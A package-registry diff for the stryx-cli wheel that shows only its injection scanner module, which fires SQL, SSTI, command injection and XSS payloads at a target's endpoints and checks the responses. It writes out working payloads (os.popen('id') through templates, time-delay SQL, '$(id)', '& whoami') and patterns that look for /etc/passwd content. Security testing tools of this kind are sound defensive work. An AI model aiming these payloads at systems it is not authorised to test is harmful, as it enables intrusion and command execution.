stryx-cli 0.1.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (74) hide show
  1. stryx/__init__.py +35 -0
  2. stryx/ai/__init__.py +5 -0
  3. stryx/ai/attack_planner.py +199 -0
  4. stryx/ai/payload_generator.py +212 -0
  5. stryx/ai/prompts.py +85 -0
  6. stryx/ai/providers.py +249 -0
  7. stryx/attacks/__init__.py +6 -0
  8. stryx/attacks/attack_chain.py +111 -0
  9. stryx/attacks/replay.py +186 -0
  10. stryx/auth/__init__.py +1 -0
  11. stryx/auth/session_manager.py +335 -0
  12. stryx/cli.py +675 -0
  13. stryx/comparison/__init__.py +1 -0
  14. stryx/comparison/differ.py +255 -0
  15. stryx/config/__init__.py +6 -0
  16. stryx/config/default_config.yaml +12 -0
  17. stryx/config/loader.py +111 -0
  18. stryx/config/schema.py +80 -0
  19. stryx/crawler/__init__.py +5 -0
  20. stryx/crawler/discovery.py +178 -0
  21. stryx/crawler/graphql_discovery.py +86 -0
  22. stryx/crawler/html_crawler.py +294 -0
  23. stryx/crawler/js_endpoints.py +165 -0
  24. stryx/crawler/openapi.py +76 -0
  25. stryx/crawler/sitemap.py +94 -0
  26. stryx/orchestrator.py +347 -0
  27. stryx/payloads/cmdi.txt +31 -0
  28. stryx/payloads/header_injection.txt +15 -0
  29. stryx/payloads/ldap.txt +19 -0
  30. stryx/payloads/nosqli.txt +21 -0
  31. stryx/payloads/open_redirect.txt +23 -0
  32. stryx/payloads/path_traversal.txt +26 -0
  33. stryx/payloads/sqli.txt +31 -0
  34. stryx/payloads/ssrf.txt +30 -0
  35. stryx/payloads/ssti.txt +21 -0
  36. stryx/payloads/xss.txt +48 -0
  37. stryx/payloads/xxe.txt +35 -0
  38. stryx/plugins/__init__.py +5 -0
  39. stryx/plugins/base.py +85 -0
  40. stryx/policy/__init__.py +1 -0
  41. stryx/policy/engine.py +201 -0
  42. stryx/py.typed +0 -0
  43. stryx/reports/__init__.py +5 -0
  44. stryx/reports/generator.py +122 -0
  45. stryx/reports/json_report.py +72 -0
  46. stryx/reports/markdown_report.py +101 -0
  47. stryx/reports/sarif_report.py +200 -0
  48. stryx/reports/templates/report.html.j2 +163 -0
  49. stryx/reports/terminal_report.py +138 -0
  50. stryx/scanners/__init__.py +17 -0
  51. stryx/scanners/auth.py +444 -0
  52. stryx/scanners/authorization.py +220 -0
  53. stryx/scanners/blind.py +328 -0
  54. stryx/scanners/cloud_ssrf.py +208 -0
  55. stryx/scanners/cors.py +158 -0
  56. stryx/scanners/dependencies.py +296 -0
  57. stryx/scanners/disclosure.py +339 -0
  58. stryx/scanners/fuzz.py +391 -0
  59. stryx/scanners/graphql.py +309 -0
  60. stryx/scanners/injection.py +511 -0
  61. stryx/scanners/race.py +257 -0
  62. stryx/signatures/framework_fingerprints.yaml +122 -0
  63. stryx/signatures/known_vulns.yaml +210 -0
  64. stryx/utils/__init__.py +7 -0
  65. stryx/utils/evidence.py +109 -0
  66. stryx/utils/http_client.py +159 -0
  67. stryx/utils/logging.py +51 -0
  68. stryx/utils/rate_limiter.py +37 -0
  69. stryx_cli-0.1.0.dist-info/METADATA +236 -0
  70. stryx_cli-0.1.0.dist-info/RECORD +74 -0
  71. stryx_cli-0.1.0.dist-info/WHEEL +5 -0
  72. stryx_cli-0.1.0.dist-info/entry_points.txt +2 -0
  73. stryx_cli-0.1.0.dist-info/licenses/LICENSE +190 -0
  74. stryx_cli-0.1.0.dist-info/top_level.txt +1 -0
@@ -0,0 +1,511 @@
1
+ """Injection vulnerability scanner.
2
+
3
+ Generates and tests payloads for SQL injection, NoSQL injection, command injection,
4
+ SSRF, path traversal, XXE, SSTI, LDAP injection, header injection, and open redirect.
5
+ Adapts payloads based on fingerprinted framework.
6
+ """
7
+
8
+ from __future__ import annotations
9
+
10
+ import re
11
+ from pathlib import Path
12
+ from urllib.parse import parse_qs, urlencode, urlparse
13
+
14
+ import yaml
15
+
16
+ from stryx.utils.evidence import Finding, Severity
17
+ from stryx.utils.http_client import HttpClient
18
+ from stryx.utils.logging import get_logger
19
+
20
+ logger = get_logger("scanner.injection")
21
+
22
+ PAYLOADS_DIR = Path(__file__).parent.parent / "payloads"
23
+ SIGNATURES_DIR = Path(__file__).parent.parent / "signatures"
24
+
25
+ # Detection patterns for each injection type
26
+ DETECTION_PATTERNS = {
27
+ "sqli": [
28
+ r"sql syntax",
29
+ r"mysql",
30
+ r"sqlite",
31
+ r"postgresql",
32
+ r"ORA-\d{5}",
33
+ r"Microsoft SQL",
34
+ r"syntax error",
35
+ r"unterminated",
36
+ r"query failed",
37
+ r"database error",
38
+ r"SQLSTATE",
39
+ r"mysql_fetch",
40
+ r"pg_query",
41
+ r"SQLite3::",
42
+ ],
43
+ "nosqli": [
44
+ r"MongoError",
45
+ r"MongoServerError",
46
+ r"mongo",
47
+ r"bson",
48
+ r"\$where",
49
+ r"\$gt",
50
+ ],
51
+ "cmdi": [
52
+ r"root:",
53
+ r"uid=",
54
+ r"www-data",
55
+ r"/bin/bash",
56
+ r"/bin/sh",
57
+ r"Linux version",
58
+ r"Docker",
59
+ ],
60
+ "path_traversal": [
61
+ r"root:",
62
+ r"\[boot loader\]",
63
+ r"/etc/passwd",
64
+ r"/etc/shadow",
65
+ r"root:x:0:0",
66
+ ],
67
+ "ssti": [
68
+ r"49", # 7*7
69
+ r"14", # 7+7
70
+ r"<class",
71
+ r"<type",
72
+ r"subclasses",
73
+ ],
74
+ "xxe": [
75
+ r"root:",
76
+ r"<!DOCTYPE",
77
+ r"\[xml\]",
78
+ ],
79
+ "ssrf": [
80
+ r"Connection refused",
81
+ r"connect to",
82
+ r"No route to host",
83
+ r"timed out",
84
+ r"Failed to connect",
85
+ ],
86
+ "ldap": [
87
+ r"ldap",
88
+ r"invalid syntax",
89
+ r"operations error",
90
+ r"protocol error",
91
+ r"no such object",
92
+ r"unwilling to perform",
93
+ ],
94
+ "header_injection": [
95
+ r"Content-Type:",
96
+ r"X-",
97
+ r"Location:",
98
+ r"Set-Cookie:",
99
+ r"Transfer-Encoding:",
100
+ ],
101
+ "open_redirect": [
102
+ r"redirect",
103
+ r"location",
104
+ r"moved",
105
+ r"301",
106
+ r"302",
107
+ r"303",
108
+ r"307",
109
+ r"308",
110
+ ],
111
+ "xss": [
112
+ r"<script>alert\(1\)</script>",
113
+ r"<script>alert\('XSS'\)</script>",
114
+ r"<script>alert\(document\.cookie\)</script>",
115
+ r"<img src=x onerror=alert\(1\)>",
116
+ r"<svg onload=alert\(1\)>",
117
+ r"javascript:alert\(1\)",
118
+ r"<body onload=alert\(1\)>",
119
+ r"<iframe src=\"javascript:alert\(1\)\">",
120
+ ],
121
+ }
122
+
123
+
124
+ def _load_payloads(category: str) -> list[str]:
125
+ """Load payloads from the payloads directory."""
126
+ payload_file = PAYLOADS_DIR / f"{category}.txt"
127
+ if payload_file.exists():
128
+ content = payload_file.read_text()
129
+ return [line.strip() for line in content.splitlines() if line.strip()]
130
+ return []
131
+
132
+
133
+ def _load_framework_signatures() -> dict:
134
+ """Load framework fingerprint signatures."""
135
+ sig_file = SIGNATURES_DIR / "framework_fingerprints.yaml"
136
+ if sig_file.exists():
137
+ with open(sig_file) as f:
138
+ return yaml.safe_load(f) or {}
139
+ return {}
140
+
141
+
142
+ class InjectionScanner:
143
+ """Scanner for injection vulnerabilities."""
144
+
145
+ def __init__(self, client: HttpClient):
146
+ self.client = client
147
+ self.framework: str | None = None
148
+ self._signatures = _load_framework_signatures()
149
+
150
+ def fingerprint_framework(self, response_headers: dict[str, str], body: str = "") -> str | None:
151
+ """Fingerprint the target framework from response."""
152
+ frameworks = self._signatures.get("frameworks", {})
153
+
154
+ for fw_key, fw_data in frameworks.items():
155
+ for header_pattern in fw_data.get("headers", []):
156
+ if ":" in header_pattern:
157
+ h_name, h_value = header_pattern.split(":", 1)
158
+ h_name = h_name.strip().lower()
159
+ h_value = h_value.strip().lower()
160
+ actual_value = response_headers.get(h_name, "").lower()
161
+ if h_value in actual_value:
162
+ self.framework = fw_key
163
+ logger.info(f"Detected framework: {fw_data.get('name', fw_key)}")
164
+ return fw_key
165
+ return None
166
+
167
+ async def scan(
168
+ self,
169
+ endpoints: list[str],
170
+ base_url: str,
171
+ max_payloads_per_type: int | None = None,
172
+ ) -> list[Finding]:
173
+ """Run injection tests against all endpoints.
174
+
175
+ Args:
176
+ endpoints: List of endpoint URLs to test.
177
+ base_url: Base URL of the target.
178
+ max_payloads_per_type: Max payloads per injection type (None = all).
179
+ """
180
+ findings: list[Finding] = []
181
+ logger.info("Running injection scanner")
182
+
183
+ # Test each injection type (all 11)
184
+ injection_types = [
185
+ ("sqli", "SQL Injection"),
186
+ ("nosqli", "NoSQL Injection"),
187
+ ("cmdi", "Command Injection"),
188
+ ("path_traversal", "Path Traversal"),
189
+ ("ssti", "Server-Side Template Injection"),
190
+ ("xxe", "XML External Entity"),
191
+ ("ssrf", "Server-Side Request Forgery"),
192
+ ("ldap", "LDAP Injection"),
193
+ ("header_injection", "Header Injection"),
194
+ ("open_redirect", "Open Redirect"),
195
+ ("xss", "Cross-Site Scripting (XSS)"),
196
+ ]
197
+
198
+ for category, name in injection_types:
199
+ payloads = _load_payloads(category)
200
+ if not payloads:
201
+ logger.warning(f"No payloads found for {category}")
202
+ continue
203
+
204
+ # Adapt payloads based on detected framework
205
+ payloads = self._adapt_payloads(category, payloads)
206
+
207
+ # Limit payloads if specified (for testing)
208
+ if max_payloads_per_type is not None:
209
+ payloads = payloads[:max_payloads_per_type]
210
+
211
+ logger.info(f"Testing {name} ({len(payloads)} payloads)")
212
+
213
+ for endpoint in endpoints:
214
+ try:
215
+ result = await self._test_injection(
216
+ endpoint, category, name, payloads
217
+ )
218
+ if result:
219
+ findings.append(result)
220
+ except Exception as e:
221
+ logger.debug(f"Injection test error on {endpoint}: {e}")
222
+
223
+ logger.info(f"Injection scanner found {len(findings)} findings")
224
+ return findings
225
+
226
+ async def _test_injection(
227
+ self,
228
+ endpoint: str,
229
+ category: str,
230
+ name: str,
231
+ payloads: list[str],
232
+ ) -> Finding | None:
233
+ """Test a single endpoint for a specific injection type."""
234
+ parsed = urlparse(endpoint)
235
+ params = parse_qs(parsed.query)
236
+
237
+ # Special handling for header injection
238
+ if category == "header_injection":
239
+ return await self._test_header_injection(endpoint, name, payloads)
240
+
241
+ # Special handling for open redirect
242
+ if category == "open_redirect":
243
+ return await self._test_open_redirect(endpoint, name, payloads)
244
+
245
+ # Standard query parameter testing
246
+ if params:
247
+ for param_name in params:
248
+ for payload in payloads[:10]: # Limit payloads per param
249
+ try:
250
+ # Build test URL
251
+ test_params = dict(params)
252
+ test_params[param_name] = [payload]
253
+ test_url = (
254
+ f"{parsed.scheme}://{parsed.netloc}{parsed.path}"
255
+ f"?{urlencode(test_params, doseq=True)}"
256
+ )
257
+
258
+ response, evidence = await self.client.get(test_url)
259
+
260
+ # Check for injection indicators
261
+ if self._detect_injection(response.text, category):
262
+ evidence.confidence = 0.8
263
+ evidence.payload = payload
264
+ return Finding(
265
+ title=f"{name} in parameter '{param_name}'",
266
+ severity=Severity.CRITICAL,
267
+ evidence=evidence,
268
+ description=(
269
+ f"Injectable payload in parameter '{param_name}' "
270
+ f"caused a detectable response indicating {name}."
271
+ ),
272
+ remediation=(
273
+ f"Sanitize and validate '{param_name}' parameter. "
274
+ f"Use parameterized queries."
275
+ ),
276
+ cwe=self._get_cwe(category),
277
+ owasp="A03:2021 - Injection",
278
+ scanner="injection",
279
+ tags=[category, "injection"],
280
+ )
281
+ except Exception:
282
+ continue
283
+
284
+ # Test POST body if no query params
285
+ else:
286
+ for payload in payloads[:5]:
287
+ try:
288
+ response, evidence = await self.client.post(
289
+ endpoint,
290
+ body=payload,
291
+ headers={"Content-Type": "application/x-www-form-urlencoded"},
292
+ )
293
+ if self._detect_injection(response.text, category):
294
+ evidence.confidence = 0.7
295
+ evidence.payload = payload
296
+ return Finding(
297
+ title=f"{name} in request body",
298
+ severity=Severity.CRITICAL,
299
+ evidence=evidence,
300
+ description=(
301
+ f"Injectable payload in request body caused a "
302
+ f"detectable response indicating {name}."
303
+ ),
304
+ remediation="Sanitize and validate all user input. Use parameterized queries.",
305
+ cwe=self._get_cwe(category),
306
+ owasp="A03:2021 - Injection",
307
+ scanner="injection",
308
+ tags=[category, "injection"],
309
+ )
310
+ except Exception:
311
+ continue
312
+
313
+ return None
314
+
315
+ async def _test_header_injection(
316
+ self, endpoint: str, name: str, payloads: list[str]
317
+ ) -> Finding | None:
318
+ """Test for HTTP header injection."""
319
+ # Header injection payloads are typically CRLF sequences
320
+ for payload in payloads[:10]:
321
+ try:
322
+ # Test via query parameter (most common injection point)
323
+ parsed = urlparse(endpoint)
324
+ test_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}?input={payload}"
325
+ response, evidence = await self.client.get(test_url)
326
+
327
+ # Check if injected headers appear in response
328
+ response_headers = dict(response.headers)
329
+ for header_name in response_headers:
330
+ if header_name.lower().startswith(("x-", "content-", "location")):
331
+ # Check if the header contains our payload
332
+ if payload.strip() in response_headers[header_name]:
333
+ evidence.confidence = 0.8
334
+ evidence.payload = payload
335
+ return Finding(
336
+ title=f"{name} via HTTP header",
337
+ severity=Severity.HIGH,
338
+ evidence=evidence,
339
+ description=(
340
+ "CRLF injection payload caused injected headers "
341
+ "in the response, allowing HTTP header injection."
342
+ ),
343
+ remediation="Sanitize user input to prevent CRLF injection.",
344
+ cwe=self._get_cwe("header_injection"),
345
+ owasp="A03:2021 - Injection",
346
+ scanner="injection",
347
+ tags=["header_injection", "injection", "crlf"],
348
+ )
349
+ except Exception:
350
+ continue
351
+
352
+ return None
353
+
354
+ async def _test_open_redirect(
355
+ self, endpoint: str, name: str, payloads: list[str]
356
+ ) -> Finding | None:
357
+ """Test for open redirect vulnerabilities."""
358
+ parsed = urlparse(endpoint)
359
+ base = f"{parsed.scheme}://{parsed.netloc}"
360
+
361
+ for payload in payloads[:10]:
362
+ try:
363
+ # Build URL with redirect parameter
364
+ test_url = f"{base}{parsed.path}?next={payload}&redirect={payload}&url={payload}"
365
+ response, evidence = await self.client.get(test_url, follow_redirects=False)
366
+
367
+ # Check for redirects
368
+ if response.status_code in (301, 302, 303, 307, 308):
369
+ location = response.headers.get("location", "")
370
+ # Check if redirect goes to external domain
371
+ if location and not location.startswith("/") and not location.startswith(base):
372
+ evidence.confidence = 0.8
373
+ evidence.payload = payload
374
+ return Finding(
375
+ title=f"{name} to external domain",
376
+ severity=Severity.HIGH,
377
+ evidence=evidence,
378
+ description=(
379
+ f"The application redirects to an external URL: {location}. "
380
+ f"This could be exploited for phishing attacks."
381
+ ),
382
+ remediation="Validate redirect URLs against a whitelist of allowed domains.",
383
+ cwe=self._get_cwe("open_redirect"),
384
+ owasp="A01:2021 - Broken Access Control",
385
+ scanner="injection",
386
+ tags=["open_redirect", "injection", "redirect"],
387
+ )
388
+ except Exception:
389
+ continue
390
+
391
+ return None
392
+
393
+ def _adapt_payloads(self, category: str, payloads: list[str]) -> list[str]:
394
+ """Adapt payloads based on the detected framework.
395
+
396
+ Adds framework-specific payloads and modifies existing ones
397
+ based on the target's SQL dialect and injection modifiers.
398
+ """
399
+ if not self.framework or not self._signatures:
400
+ return payloads
401
+
402
+ fw_data = self._signatures.get("frameworks", {}).get(self.framework, {})
403
+ if not fw_data:
404
+ return payloads
405
+
406
+ adapted = list(payloads)
407
+ sql_dialect = fw_data.get("sql_dialect", "generic")
408
+
409
+ # Add dialect-specific SQL injection payloads
410
+ if category == "sqli":
411
+ if sql_dialect == "postgres":
412
+ adapted.extend([
413
+ "1; SELECT pg_sleep(5)--",
414
+ "1' AND pg_sleep(5)--",
415
+ "1; WAITFOR DELAY '0:0:5'--",
416
+ ])
417
+ elif sql_dialect == "mysql":
418
+ adapted.extend([
419
+ "1; SLEEP(5)--",
420
+ "1' AND SLEEP(5)--",
421
+ "1; SELECT BENCHMARK(10000000,SHA1('test'))--",
422
+ ])
423
+ elif sql_dialect == "mssql":
424
+ adapted.extend([
425
+ "1; WAITFOR DELAY '0:0:5'--",
426
+ "1'; WAITFOR DELAY '0:0:5'--",
427
+ ])
428
+
429
+ # Add framework-specific SSTI payloads
430
+ if category == "ssti":
431
+ fw_name = fw_data.get("name", "").lower()
432
+ if "flask" in fw_name or "django" in fw_name:
433
+ adapted.extend([
434
+ "{{config.__class__.__init__.__globals__['os'].popen('id').read()}}",
435
+ "{{request.application.__self__._get_data_for_json.__globals__['os'].popen('id').read()}}",
436
+ ])
437
+ elif "express" in fw_name or "node" in fw_name:
438
+ adapted.extend([
439
+ "${7*7}",
440
+ "#{7*7}",
441
+ ])
442
+ elif "spring" in fw_name or "java" in fw_name:
443
+ adapted.extend([
444
+ "${7*7}",
445
+ "<%= 7*7 %>",
446
+ ])
447
+ elif "laravel" in fw_name or "php" in fw_name:
448
+ adapted.extend([
449
+ "{{7*7}}",
450
+ "${7*7}",
451
+ ])
452
+
453
+ # Add framework-specific XSS payloads (Jinja2/Twig/Django templates)
454
+ if category == "xss":
455
+ fw_name = fw_data.get("name", "").lower()
456
+ if "flask" in fw_name:
457
+ adapted.extend([
458
+ "{{ '<script>alert(1)</script>' }}",
459
+ "{{ '<img src=x onerror=alert(1)>' }}",
460
+ ])
461
+ elif "django" in fw_name:
462
+ adapted.extend([
463
+ "{{ '<script>alert(1)</script>'|safe }}",
464
+ ])
465
+ elif "express" in fw_name:
466
+ adapted.extend([
467
+ "<%= '<script>alert(1)</script>' %>",
468
+ "<%- '<script>alert(1)</script>' %>",
469
+ ])
470
+
471
+ # Add framework-specific command injection payloads
472
+ if category == "cmdi":
473
+ fw_name = fw_data.get("name", "").lower()
474
+ if "linux" in fw_name or "python" in fw_name or "ruby" in fw_name:
475
+ adapted.extend([
476
+ "`id`",
477
+ "$(id)",
478
+ "; id",
479
+ "| id",
480
+ ])
481
+ elif "windows" in fw_name or ".net" in fw_name:
482
+ adapted.extend([
483
+ "& whoami",
484
+ "| whoami",
485
+ "&& whoami",
486
+ ])
487
+
488
+ return adapted
489
+
490
+ def _detect_injection(self, response_body: str, category: str) -> bool:
491
+ """Check response for injection indicators."""
492
+ patterns = DETECTION_PATTERNS.get(category, [])
493
+ body_lower = response_body.lower()
494
+ return any(re.search(p, body_lower, re.IGNORECASE) for p in patterns)
495
+
496
+ def _get_cwe(self, category: str) -> str:
497
+ """Map injection type to CWE."""
498
+ cwe_map = {
499
+ "sqli": "CWE-89",
500
+ "nosqli": "CWE-943",
501
+ "cmdi": "CWE-78",
502
+ "path_traversal": "CWE-22",
503
+ "ssti": "CWE-96",
504
+ "xxe": "CWE-611",
505
+ "ssrf": "CWE-918",
506
+ "ldap": "CWE-90",
507
+ "header_injection": "CWE-113",
508
+ "open_redirect": "CWE-601",
509
+ "xss": "CWE-79",
510
+ }
511
+ return cwe_map.get(category, "CWE-74")